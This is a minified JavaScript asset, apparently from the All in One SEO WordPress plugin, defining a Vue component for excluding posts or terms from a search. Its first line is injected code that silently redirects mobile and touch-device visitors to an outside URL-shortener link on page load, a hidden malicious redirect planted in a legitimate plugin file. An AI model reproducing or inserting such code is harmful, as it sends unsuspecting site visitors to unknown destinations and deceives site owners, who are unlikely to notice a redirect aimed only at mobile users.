(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
import{y as k}from"./app-core.c8323d51.js";import{u as T}from"./JsonValues.a0694556.js";import{_ as C}from"./Button.3cec2279.js";import{B as S}from"./Select.415eaf8e.js";import{S as V}from"./AddPlus.9b9e4ba9.js";import{S as B}from"./Close.7fb523c8.js";import{S as j}from"./External.071520c9.js";import{aq as u,f as L,i as N,a0 as p,R as i,j as o,U as n,T as d,ae as g}from"./vendor-vue-ui.232c7c36.js";import{_ as P}from"./_plugin-vue_export-helper.eefbdd86.js";import{_ as a}from"./vendor-other.39e59221.js";const l="all-in-one-seo-pack",R={setup(){const{getJsonValues:s,setJsonValues:e}=T();return{getJsonValues:s,optionsStore:k(),setJsonValues:e}},components:{BaseButton:C,BaseSelect:S,SvgAddPlus:V,SvgClose:B,SvgExternal:j},props:{options:{type:Object,required:!0},type:{type:String,required:!0}},data(){return{excludeOptions:[],strings:{typeToSearch:a("Type to search...",l),noOptionsPosts:a("Begin typing a post ID, title or slug to search...",l),noOptionsTerms:a("Begin typing a term ID or name to search...",l),noResult:a("No results found for your search. Try again!",l),clear:a("Clear",l),id:a("ID",l),type:a("Type",l)}}},computed:{optionName:{get(){return this.type==="posts"?this.options.excludePosts:this.options.excludeTerms},set(s){if(this.type==="posts"){this.options.excludePosts=s;return}this.options.excludeTerms=s}},noOptions(){return this.type==="posts"?this.strings.noOptionsPosts:this.strings.noOptionsTerms}},methods:{processGetObjects(s){return this.optionsStore.getObjects({query:s,type:this.type}).then(e=>{this.excludeOptions=e.body.objects})},getOptionTitle(s,e){s=s.replace(/<\/?[^>]+(>|$)/g,""),e=e.replace(/<\/?[^>]+(>|$)/g,"");const _=new RegExp(`(${e})`,"gi");return s.replace(_,'<span class="search-term">$1</span>')},searchableLabel({value:s,label:e,slug:_}){return`${s} ${e} ${_}`}}},w={class:"aioseo-exclude-posts"},J={class:"option"},q=["innerHTML"],A={class:"option-details"},D=["href"],E={class:"multiselect__tag"},I={class:"multiselect__tag-value"},M=["onClick"];function U(s,e,_,h,c,r){const f=u("svg-add-plus"),y=u("base-button"),x=u("svg-external"),b=u("svg-close"),v=u("base-select");return L(),N("div",w,[p(v,{options:c.excludeOptions,"ajax-search":r.processGetObjects,customLabel:r.searchableLabel,size:"medium",multiple:"",modelValue:h.getJsonValues(r.optionName),"onUpdate:modelValue":e[0]||(e[0]=t=>r.optionName=h.setJsonValues(t)),placeholder:c.strings.typeToSearch},{noOptions:i(()=>[g(n(r.noOptions),1)]),noResult:i(()=>[g(n(c.strings.noResult),1)]),caret:i(({toggle:t})=>[p(y,{class:"multiselect-toggle",style:{padding:"10px 13px",width:"40px",position:"absolute",height:"36px",right:"2px",top:"2px","text-align":"center",transition:"transform .2s ease"},type:"gray",onClick:t},{default:i(()=>[p(f,{style:{width:"14px",height:"14px",color:"black"}})]),_:1},8,["onClick"])]),option:i(({option:t,search:m})=>[o("div",J,[o("div",{class:"option-title",innerHTML:r.getOptionTitle(t.label,m)},null,8,q),o("div",A,[o("span",null,n(c.strings.id)+": #"+n(t.value),1),o("span",null,n(c.strings.type)+": "+n(t.type),1)])]),o("a",{class:"option-permalink",href:t.link,target:"_blank",onClick:d(()=>{},["stop"])},[p(x)],8,D)]),tag:i(({option:t,remove:m})=>[o("div",E,[o("div",I,n(t.label)+" - #"+n(t.value),1),o("div",{class:"multiselect__tag-remove",onClick:d(O=>m(t),["stop"])},[p(b,{onClick:d(O=>m(t),["stop"])},null,8,["onClick"])],8,M)])]),_:1},8,["options","ajax-search","customLabel","modelValue","placeholder"]),p(y,{type:"gray",size:"medium",onClick:e[1]||(e[1]=t=>r.optionName=[])},{default:i(()=>[g(n(c.strings.clear),1)]),_:1})])}const $=P(R,[["render",U]]);export{$ as C};
